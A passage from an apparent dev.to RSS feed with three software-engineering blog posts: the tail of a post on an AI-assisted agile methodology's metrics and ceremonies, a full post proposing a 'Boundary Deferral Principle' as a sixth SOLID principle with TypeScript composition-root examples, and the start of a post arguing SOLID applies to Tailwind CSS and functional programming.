&lt;li&gt;&lt;p&gt;✅ &lt;strong&gt;Technical specifications&lt;/strong&gt;: When discovery outputs are validated (user-tested prototypes, research findings), they transform into technical specifications. AI assists this transformation—taking a validated prototype and generating a specification draft. Refinement sessions identify gaps: edge cases, integration points, security considerations, verification requirements. The specification is complete when the team has enough clarity to implement without constant clarification.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;✅ &lt;strong&gt;Verification automation&lt;/strong&gt;: Unit tests, end-to-end tests, AI-assisted security reviews, and observability are first-class deliverables, not afterthoughts. Every feature ships with its verification.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;✅ &lt;strong&gt;Outcome metrics over output metrics&lt;/strong&gt;: We don't use Output-based metrics like Burn-down &amp;amp; Burn-up charts, Lead time, Cycle time and Cumulative flow diagrams because they make people focus on outputs, not outcomes. We use outcomes-based metrics instead, like Activation Rate, Retention Rate, Lifetime Value (LTV), Net Promoter Score (NPS), Feature Engagement, Cohort Analysis &amp;amp; A/B Testing, Change Failure Rate, Employee satisfaction surveys, Employee turnover rate. We are careful with the activation rate because we understand that retention rate is a more reliable metric for customer value.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  L∞P Ceremonies
&lt;/h2&gt;

&lt;p&gt;In this section, we are going to take a look at the L∞P ceremonies. We will mention common ceremonies from other methodologies, clarify why we will not use them, and introduce some new ones.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;❌ We don't use &lt;strong&gt;Sprints&lt;/strong&gt; because a sprint is a time box, and we believe that time boxes lead to decreased quality and lower customer value, so we don't have any Sprint-based meetings. Including:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;❌ Sprint planning, &lt;/li&gt;
&lt;li&gt;❌ Sprint review and &lt;/li&gt;
&lt;li&gt;❌ Sprint retrospective. &lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;However, we value the principles behind the Sprint retrospective.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;❌ We don't host the &lt;strong&gt;Delivery planning and Risk review&lt;/strong&gt; meetings from Kanban because they strongly focus on outputs.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;✅ We host as many &lt;strong&gt;User research/testing sessions&lt;/strong&gt; as needed to validate hypotheses and generate product ideas. The entire team participates in the research phase, sales and development included. AI can significantly enhance these sessions—agents can help facilitate discussions, synthesize findings in real-time, or transform meeting transcriptions into structured insights, specifications, and hypothesis refinements.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;✅ We block 4 hours daily in people's calendars to ensure they can get into the zone and move fast. We call this the &lt;strong&gt;Do Not Disturb (DnD)&lt;/strong&gt; meeting. This protected time applies to both deep-thinking work and AI-orchestrated development.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;✅ We host a &lt;strong&gt;daily stand-up&lt;/strong&gt; meeting, but we use meeting agendas to ensure they don't become a checkpoint. The goal is to resolve blockers and provide the team with the information required to act with autonomy for the rest of the day.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;✅ We host a monthly &lt;strong&gt;Flow review&lt;/strong&gt; meeting to reinforce a continuous improvement culture. This meeting includes: What verification gaps exist? What automation was added? What escaped our automated checks? How can we prevent similar escapes? AI can assist by analysing production incidents, identifying patterns across issues, and suggesting automation opportunities.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;✅ We host a monthly &lt;strong&gt;Show and Tell&lt;/strong&gt; meeting to enable conversation across teams, share research insights, and celebrate our achievements. This is a meeting to share knowledge with other teams and the wider business.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;✅ We host monthly &lt;strong&gt;hackathons&lt;/strong&gt; to encourage the development team to generate product ideas and reinforce the involvement of the developers in the discovery phase.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;✅ We host a quarterly &lt;strong&gt;Strategy review&lt;/strong&gt; meeting to align the product teams with the leadership's mission, vision and strategy.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The core philosophy remains: trust leads to ownership, ownership leads to agility, agility plus protected focus time leads to flow. AI accelerates this cycle—it doesn't replace it.&lt;/p&gt;

</description>
      <category>softwareengineering</category>
      <category>ai</category>
      <category>agile</category>
      <category>softwaredevelopment</category>
    </item>
    <item>
      <title>The 6th SOLID Principle?</title>
      <dc:creator>Remo H. Jansen</dc:creator>
      <pubDate>Sat, 21 Mar 2026 01:40:31 +0000</pubDate>
      <link>https://dev.to/remojansen/the-6th-solid-principle-4hjp</link>
      <guid>https://dev.to/remojansen/the-6th-solid-principle-4hjp</guid>
      <description>&lt;p&gt;I've been writing about the SOLID principles for over a decade. I built &lt;a href="https://inversify.io/" rel="noopener noreferrer"&gt;InversifyJS&lt;/a&gt; because of them, I wrote about &lt;a href="https://dev.to/remojansen/implementing-the-onion-architecture-in-nodejs-with-typescript-and-inversifyjs-10ad"&gt;implementing them with the onion architecture&lt;/a&gt;, and just recently, I argued that they are &lt;a href="https://dev.to/remojansen/the-solid-principles-are-universal-1c9m"&gt;universal design principles&lt;/a&gt; that show up far beyond the world of object-oriented programming. But I've always felt something was missing — not from the principles themselves, but from the conversation around them.&lt;/p&gt;

&lt;p&gt;SOLID tells you how to write good components. It doesn't tell you how to compose them into a system that can change shape.&lt;/p&gt;

&lt;p&gt;Let me explain.&lt;/p&gt;




&lt;h2&gt;
  
  
  The gap
&lt;/h2&gt;

&lt;p&gt;Imagine you have a perfectly SOLID codebase. Your &lt;code&gt;UserRepository&lt;/code&gt; depends on an abstraction. Your &lt;code&gt;EmailService&lt;/code&gt; has a single responsibility. Your &lt;code&gt;OrderProcessor&lt;/code&gt; is open for extension but closed for modification. Everything is beautiful. You followed the five principles to the letter.&lt;/p&gt;

&lt;p&gt;Now your CTO walks in and says: "We need to split the user management into its own microservice."&lt;/p&gt;

&lt;p&gt;What happens? You start ripping things apart. You create a new project, move files, rewrite imports, create new entry points, set up new dependency wiring, and extract shared interfaces into a package. It takes weeks. The SOLID components themselves were fine — they didn't need to change. But the &lt;em&gt;structure&lt;/em&gt; around them did. The boundaries of your system were baked into the source code: into import paths, into entry points, into which files lived in which project, into hard-coded wiring inside modules.&lt;/p&gt;

&lt;p&gt;SOLID gave you pristine components. But pristine components in a rigid structure still give you a rigid system.&lt;/p&gt;




&lt;h2&gt;
  
  
  What changes with the Composition Root
&lt;/h2&gt;

&lt;p&gt;Now imagine the same codebase, but this time every component is wired together via an IoC container, and all the wiring lives in a single place: the composition root.&lt;/p&gt;

&lt;p&gt;Your &lt;code&gt;OrderProcessor&lt;/code&gt; doesn't import &lt;code&gt;UserRepository&lt;/code&gt; directly. It declares a dependency on an abstraction. The composition root is where the abstraction meets its implementation. It's the only place in your entire codebase that knows which concrete classes exist and how they relate to each other.&lt;/p&gt;

&lt;p&gt;Here's the interesting part. In a monolith, you have one composition root that loads everything:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// monolith/composition-root.ts&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;container&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Container&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;container&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;authModule&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;container&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userModule&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;container&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;orderModule&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;container&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;emailModule&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;container&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cmsModule&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now your CTO wants microservices. Instead of ripping the codebase apart, you create a new composition root for each service:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// services/user-service/composition-root.ts&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;container&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Container&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;container&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;authModule&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;container&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;userModule&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight typescript"&gt;&lt;code&gt;&lt;span class="c1"&gt;// services/order-service/composition-root.ts&lt;/span&gt;
&lt;span class="kd"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;container&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nc"&gt;Container&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="nx"&gt;container&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;authModule&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;container&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;orderModule&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="nx"&gt;container&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;load&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;emailModule&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The components didn't change. Not a single line. The only thing that changed is &lt;em&gt;which composition root assembles which components&lt;/em&gt;. The boundaries of your system — what constitutes a deployable unit, which components belong together — were never defined by the components themselves. They were defined at the composition root level.&lt;/p&gt;

&lt;p&gt;I wrote a detailed case study of exactly this approach: &lt;a href="https://dev.to/remojansen/from-monolith-to-microservices-without-changing-one-line-of-code-thanks-to-the-power-of-inversion-57l6"&gt;From Monolith to Microservices without changing one line of code&lt;/a&gt;. In that project, the same codebase produced either a monolith or a set of microservices depending on which composition roots were used and how the CI/CD pipeline was configured. We even migrated from CosmosDB to PostgreSQL by creating a new IoC module and swapping it in the composition root — zero changes to existing code.&lt;/p&gt;




&lt;h2&gt;
  
  
  This is NOT the Composition Root pattern
&lt;/h2&gt;

&lt;p&gt;I want to be very precise here because the distinction matters.&lt;/p&gt;

&lt;p&gt;The Composition Root is a pattern, defined by Mark Seemann, that tells you &lt;em&gt;where&lt;/em&gt; to wire your dependencies: in a single place, as close to the application's entry point as possible. Seemann is clear that each deployable application should have exactly one composition root — and he's right.&lt;/p&gt;

&lt;p&gt;But the principle I'm trying to articulate is not about where you wire things up. It's about what the components &lt;em&gt;know&lt;/em&gt; about their own boundaries.&lt;/p&gt;

&lt;p&gt;Here's the difference:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;The Composition Root pattern&lt;/strong&gt; says: "Wire everything in one place per application." It's a &lt;em&gt;mechanism&lt;/em&gt; — the &lt;em&gt;how&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The principle I'm proposing&lt;/strong&gt; says: "Your components should be boundary-agnostic. They should not know whether they're part of a monolith, a microservice, a plugin, or a serverless function. That decision should be made at the composition root level, never inside the components themselves."&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Seemann says multiple composition roots within a single application is an anti-pattern, and I agree — &lt;em&gt;per deployable artifact&lt;/em&gt;. But the whole point is that you should be free to create &lt;em&gt;new deployable artifacts&lt;/em&gt; with &lt;em&gt;new composition roots&lt;/em&gt; that select different subsets of the same boundary-agnostic components. The components don't change. Only the composition roots do.&lt;/p&gt;

&lt;p&gt;In other words: the Composition Root pattern gives you the tool. The principle gives you the &lt;em&gt;reason to use it this way&lt;/em&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  The Boundary Deferral Spectrum
&lt;/h2&gt;

&lt;p&gt;One mental model that has helped me think about this is a spectrum. The question is: &lt;em&gt;how late can you defer the decision about where your system's boundaries are?&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Design time (worst).&lt;/strong&gt; Boundaries are baked into the source code. Components import each other directly. Which components belong to which service is decided by folder structure, project boundaries, and import paths. Restructuring means rewriting.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Composition time (good).&lt;/strong&gt; Boundaries are defined in the composition root. The components themselves are boundary-agnostic. You can create different composition roots that assemble the same components into different shapes — monolith, microservices, or anything in between. Restructuring means writing a new composition root.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Build time (better).&lt;/strong&gt; The composition root reads environment variables or build arguments to decide which modules to load. A single codebase produces different deployable artifacts depending on build configuration. In my monolith-to-microservices project, a Dockerfile with &lt;code&gt;SERVICE_NAME&lt;/code&gt; and &lt;code&gt;SERVICE_ENTRY_POINT&lt;/code&gt; build arguments produced different microservice images from the exact same source code. Restructuring means changing a build argument.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Runtime (most deferred).&lt;/strong&gt; The system discovers and loads components dynamically. Plugin architectures like MEF (.NET), OSGi (Java), or VS Code's extension system don't know their own boundaries until they're running. A plugin can be added or removed without the host application knowing about it in advance. The system's shape is defined by &lt;em&gt;what's present on disk&lt;/em&gt;, not by what's in the source code.&lt;/p&gt;

&lt;p&gt;Plugin systems are, in my opinion, the purest embodiment of SOLID in practice. They represent the logical extreme of this spectrum: boundaries deferred to the latest possible moment. Every plugin has a single responsibility. The system is open for extension (install a plugin) and closed for modification (the host doesn't change). Plugins are substitutable (swap one implementation for another). They interact through narrow, segregated interfaces. And everything depends on abstractions, with concrete implementations loaded at runtime.&lt;/p&gt;

&lt;p&gt;It's not a coincidence that the most long-lived, adaptable software systems in history — IDEs, browsers, operating systems — are all built on plugin architectures. They defer boundaries until runtime, and that gives them the ability to evolve in ways that no amount of up-front design could anticipate.&lt;/p&gt;




&lt;h2&gt;
  
  
  Horizontal and vertical slicing
&lt;/h2&gt;

&lt;p&gt;The boundary decisions I'm talking about come in two flavours, and both should be deferrable.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Vertical slices&lt;/strong&gt; are about technical concerns: the HTTP layer, the business logic layer, the data access layer. In a well-structured onion architecture, these layers are already separated by abstractions. The composition root is what connects them. You can replace your entire data access layer (say, swap Sequelize for TypeORM, or SQL for a REST API) by changing the composition root — the business logic doesn't know or care.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Horizontal slices&lt;/strong&gt; are about user journeys or business capabilities: user management, order processing, content management, authentication. In a modular monolith, these are IoC modules. In a microservices architecture, each one becomes its own deployable artifact with its own composition root.&lt;/p&gt;

&lt;p&gt;The principle says: &lt;em&gt;both kinds of boundaries should be defined at the composition root level&lt;/em&gt;. Your components should not know whether &lt;code&gt;UserRepository&lt;/code&gt; and &lt;code&gt;OrderRepository&lt;/code&gt; live in the same process or in different services across a network. They shouldn't know whether the email service is an in-process function call or an HTTP request to a third-party API. That's a composition-time decision.&lt;/p&gt;

&lt;p&gt;When both vertical and horizontal boundaries are deferred, your system becomes something like a bag of Lego bricks. You can assemble them into a monolith (one big model), or split them into microservices (many small models), or land somewhere in between — all without modifying a single brick. Only the instruction manual changes.&lt;/p&gt;




&lt;h2&gt;
  
  
  The same idea in functional programming
&lt;/h2&gt;

&lt;p&gt;This is not just an OOP/IoC container thing. The same principle shows up in functional programming, expressed through different mechanisms.&lt;/p&gt;

&lt;p&gt;In ML-family languages, &lt;strong&gt;module functors&lt;/strong&gt; let you parameterise an entire module over its dependencies. A functor takes a module signature (an abstraction) and produces a concrete module. The "wiring" — which concrete module gets passed to which functor — happens at the call site, not inside the functor. The functor is boundary-agnostic; it declares what it needs but not where it comes from or what system it belongs to.&lt;/p&gt;

&lt;p&gt;Effect systems like &lt;strong&gt;ZIO&lt;/strong&gt; (Scala) take this even further. A ZIO program declares its dependencies as a type-level "environment" (&lt;code&gt;ZIO[UserRepo &amp;amp; EmailService, Error, Result]&lt;/code&gt;), and the layers that satisfy those dependencies are assembled separately. You can build different layer configurations for testing, for a monolith, or for distributed services. The program itself doesn't change — only the layer composition does.&lt;/p&gt;

&lt;p&gt;Even in simpler functional codebases, the practice of threading dependencies as function parameters (dependency injection via higher-order functions) achieves the same thing. A function &lt;code&gt;(fetchFn) =&amp;gt; (userId) =&amp;gt; fetchFn(/users/${userId})&lt;/code&gt; doesn't know if &lt;code&gt;fetchFn&lt;/code&gt; hits a local database, a remote API, or a mock. The boundary decision is deferred to whoever provides &lt;code&gt;fetchFn&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The mechanism is different — functors instead of IoC containers, layers instead of composition roots, higher-order functions instead of constructor injection — but the principle is identical: components should be boundary-agnostic, and the decision about what belongs together should live outside the components.&lt;/p&gt;




&lt;h2&gt;
  
  
  Has this been said before?
&lt;/h2&gt;

&lt;p&gt;I want to be honest about prior art because this idea doesn't come from nowhere.&lt;/p&gt;

&lt;p&gt;Robert C. Martin came very close in his 2014 article on Clean Micro-service Architecture, where he wrote: &lt;em&gt;"The Deployment Model is a Detail"&lt;/em&gt; and &lt;em&gt;"A good architect defers the decision about how the system will be deployed until the last responsible moment."&lt;/em&gt; He even coined the term &lt;strong&gt;"Forced Ignorance"&lt;/strong&gt; — the idea that components should have no knowledge of their deployment context.&lt;/p&gt;

&lt;p&gt;The Lean Software Development movement formalised &lt;strong&gt;"Decide as Late as Possible"&lt;/strong&gt; (Poppendieck, 2003) as a general principle about deferring decisions until you have enough information to make them well.&lt;/p&gt;

&lt;p&gt;Mark Seemann's &lt;strong&gt;Composition Root&lt;/strong&gt; pattern provides the mechanism to make this work in practice.&lt;/p&gt;

&lt;p&gt;But none of these, as far as I can tell, explicitly say: &lt;em&gt;the boundaries of your system — which components are grouped together, what constitutes a vertical slice, what constitutes a horizontal slice, what constitutes a deployable unit — should be defined at the composition root level, not inside the components, and should be reconfigurable without modifying the components themselves.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Uncle Bob says deployment topology is a detail. But he still assumes the component &lt;em&gt;boundaries&lt;/em&gt; are defined in code (jars, DLLs, project structure). The Composition Root pattern tells you &lt;em&gt;where&lt;/em&gt; to wire, but not that the components should be deliberately designed to be boundary-agnostic. "Decide as Late as Possible" is a general principle that applies to everything, not specifically to system boundaries.&lt;/p&gt;

&lt;p&gt;What I'm proposing sits in the gap between these ideas.&lt;/p&gt;




&lt;h2&gt;
  
  
  So what do we call it?
&lt;/h2&gt;

&lt;p&gt;I've been going back and forth on this, and the name I keep coming back to is:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;The Boundary Deferral Principle&lt;/strong&gt;: The components of a system should be boundary-agnostic. System boundaries — both vertical (technical layers) and horizontal (business capabilities) — should be defined at the composition root level, never inside the components themselves. Boundary decisions should be deferred as late as practically possible.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Or more concisely: &lt;em&gt;system boundaries are a detail&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;This follows Uncle Bob's own framing — the database is a detail, the framework is a detail, the deployment model is a detail — and extends it to its logical conclusion: the boundaries themselves are a detail too.&lt;/p&gt;




&lt;h2&gt;
  
  
  SOLID+ ?
&lt;/h2&gt;

&lt;p&gt;SOLID without this principle has always felt incomplete to me. SOLID gives you the bricks. But without the idea that boundaries should be deferred and defined at the composition root level, you end up cementing those bricks into a shape too early. And when the shape needs to change — and it always does — you're back to a rewrite.&lt;/p&gt;

&lt;p&gt;The teams I've seen get the most out of SOLID are the ones that, whether they know it or not, also follow this principle. Their applications are plugin systems in disguise. Their components don't know their own topology. Their boundaries are defined in one place, and changing that one place changes the shape of the entire system.&lt;/p&gt;

&lt;p&gt;Maybe that's the 6th principle. Or maybe it's just what happens when you take the other five seriously enough. I'd love to hear your thoughts!&lt;/p&gt;

</description>
      <category>softwareengineering</category>
      <category>architecture</category>
      <category>designpatterns</category>
    </item>
    <item>
      <title>The SOLID Principles are Universal</title>
      <dc:creator>Remo H. Jansen</dc:creator>
      <pubDate>Fri, 20 Mar 2026 23:44:49 +0000</pubDate>
      <link>https://dev.to/remojansen/the-solid-principles-are-universal-1c9m</link>
      <guid>https://dev.to/remojansen/the-solid-principles-are-universal-1c9m</guid>
      <description>&lt;p&gt;I've spent a significant portion of my career thinking about the SOLID principles. I wrote about them in the context of &lt;a href="https://dev.to/remojansen/implementing-the-onion-architecture-in-nodejs-with-typescript-and-inversifyjs-10ad"&gt;JavaScript and TypeScript&lt;/a&gt;, I built &lt;a href="https://inversify.io/" rel="noopener noreferrer"&gt;InversifyJS&lt;/a&gt; largely because of them, and I've had countless conversations with other developers about whether they belong in the JavaScript world at all. Over the years, many people have pushed back, arguing that SOLID is an object-oriented thing, that it only matters if you're writing Java or C#, and that it doesn't apply to their world.&lt;/p&gt;

&lt;p&gt;I respectfully disagree. In fact, the more I look around, the more I'm convinced that the SOLID principles are not about object-oriented programming at all. They are universal design principles that manifest everywhere, whether you realise it or not. You'll find them in CSS utility frameworks, in functional programming, and even in the way we're building AI agents today.&lt;/p&gt;

&lt;p&gt;Let me show you what I mean.&lt;/p&gt;




&lt;h2&gt;
  
  
  1. Tailwind CSS
&lt;/h2&gt;

&lt;p&gt;When Tailwind CSS first gained popularity, I remember many developers (including myself) being skeptical. Writing &lt;code&gt;class="flex items-center justify-between p-4 bg-white rounded-lg shadow-md"&lt;/code&gt; felt wrong. It looked like inline styles with extra steps. But the more I used it, the more I started to see something familiar. Tailwind is SOLID, and it doesn't even know it.&lt;/p&gt;

&lt;h3&gt;
  
  
  S — Single Responsibility Principle
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;A class should have only a single responsibility.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In Tailwind, each utility class does exactly one thing. &lt;code&gt;text-center&lt;/code&gt; centers text. &lt;code&gt;p-4&lt;/code&gt; adds padding. &lt;code&gt;bg-blue-500&lt;/code&gt; sets a background colour. That's it. No side effects, no surprises. Compare this to a traditional CSS class like &lt;code&gt;.card&lt;/code&gt; that might set padding, margin, background, border-radius, box-shadow, font-size, and who knows what else. That's a God class. Tailwind avoids this entirely by ensuring every class has a single, well-defined responsibility.&lt;/p&gt;

&lt;h3&gt;
  
  
  O — Open/Closed Principle
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Software entities should be open for extension, but closed for modification.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;You cannot modify &lt;code&gt;p-4&lt;/code&gt;. It is what it is. But you can extend the system by composing additional classes: &lt;code&gt;p-4 md:p-8 lg:p-12&lt;/code&gt;. You can also extend Tailwind's configuration to add your own spacing scale, your own colours, your own breakpoints, all without touching the existing utility classes. The existing system is closed for modification but wide open for extension. This is exactly how the open/closed principle is supposed to work.&lt;/p&gt;

&lt;h3&gt;
  
  
  L — Liskov Substitution Principle
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Objects in a program should be replaceable with instances of their subtypes without altering the correctness of that program.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In Tailwind, any spacing utility is interchangeable with another spacing utility. You can swap &lt;code&gt;p-4&lt;/code&gt; for &lt;code&gt;p-6&lt;/code&gt; and the system doesn't break. You can replace &lt;code&gt;bg-blue-500&lt;/code&gt; with &lt;code&gt;bg-red-500&lt;/code&gt; and everything continues to work as expected. The utilities follow a consistent contract: they accept the same kind of input (a class name on an element) and produce a predictable kind of output (a single CSS property change). Any class within a category can substitute for another in that category without breaking the layout system.&lt;/p&gt;

&lt;h3&gt;
  
  
  I — Interface Segregation Principle
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;Many client-specific interfaces are better than one general-purpose interface.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is perhaps where Tailwind shines the brightest. Instead of one monolithic &lt;code&gt;.card&lt;/code&gt; class that bundles together layout, spacing, colour, typography, and shadow concerns, Tailwind gives you many small, focused utilities. You pick only the ones you need. Your element doesn't have to "implement" an interface it doesn't care about. A heading doesn't need to know about box shadows just because it happens to be inside a card. Each utility is a tiny, client-specific interface. You compose exactly what you need and nothing more.&lt;/p&gt;

&lt;h3&gt;
  
  
  D — Dependency Inversion Principle
&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;One should depend upon abstractions, not concretions.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This one is more subtle in Tailwind, but it's there. When you use Tailwind's design tokens (e.g., &lt;code&gt;text-primary&lt;/code&gt;, &lt;code&gt;bg-surface&lt;/code&gt;, or spacing values like &lt;code&gt;p-4&lt;/code&gt;), you're depending on an abstraction rather than a concrete value. You don't write &lt;code&gt;color: #3B82F6&lt;/code&gt; directly. You write &lt;code&gt;text-blue-500&lt;/code&gt;, which is an abstraction that points to a value defined in your configuration. If you change your blue from &lt;code&gt;#3B82F6&lt;/code&gt; to &lt;code&gt;#2563EB&lt;/code&gt; in the config, every component that depends on &lt;code&gt;blue-500&lt;/code&gt; gets updated automatically. Your components depend on the abstraction (the token), not the concretion (the hex value).&lt;/p&gt;




&lt;h2&gt;
  
  
  2. Functional Programming
&lt;/h2&gt;

&lt;p&gt;I've always found the relationship between SOLID and functional programming fascinating. Mark Seemann wrote something that stuck with me years ago:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"If you take the SOLID principles to their extremes, you arrive at something that makes Functional Programming look quite attractive."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I referenced this quote in my &lt;a href="https://www.wolksoftware.com/blog/the-current-state-of-dependency-inversion-in-javascript/" rel="noopener noreferrer"&gt;post about the state of dependency inversion in JavaScript&lt;/a&gt;, and it's something I still think about. The SOLID principles don't require classes or interfaces to be meaningful. They show up naturally in well-written functional code.&lt;/p&gt;

&lt;h3&gt;
  
  
  S — Single Responsibility Principle
&lt;/h3&gt;

&lt;p&gt;In functional programming, the single responsibility principle is baked into the philosophy. Pure functions do one thing: they take an input and produce an output with no side effects. A function like &lt;code&gt;const double = (x) =&amp;gt; x * 2&lt;/code&gt; has a single, clear responsibility. The entire functional paradigm pushes you towards small, composable functions that each do one thing well. When people talk about "Unix philosophy" — do one thing and do it well — they are really talking about single responsibility.&lt;/p&gt;

&lt;h3&gt;
  
  
  O — Open/Closed Principle
&lt;/h3&gt;

&lt;p&gt;In functional programming, functions are closed for modification by default because pure functions are immutable transformations. You can't go in and change what &lt;code&gt;map&lt;/code&gt; does. But you can extend behaviour by composing functions together. Higher-order functions are the ultimate open/closed mechanism: &lt;code&gt;pipe(validate, transform, serialize)&lt;/code&gt; lets you extend a pipeline without modifying any of the individual functions. Function composition is extension without modification.&lt;/p&gt;

&lt;h3&gt;
  
  
  L — Liskov Substitution Principle
&lt;/h3&gt;

&lt;p&gt;In functional programming, this manifests as the ability to swap one function for another as long as it respects the same type signature. If a pipeline expects a function &lt;code&gt;(a) =&amp;gt; b&lt;/code&gt;, you can substitute any function that satisfies that contract. This is exactly what makes functional programming so powerful for testing as well. You can replace a function that reads from a database with a function that returns mock data, and the rest of your pipeline doesn't care. Same signature, same contract, different implementation.&lt;/p&gt;

&lt;h3&gt;
  
  
  I — Interface Segregation Principle
&lt;/h3&gt;

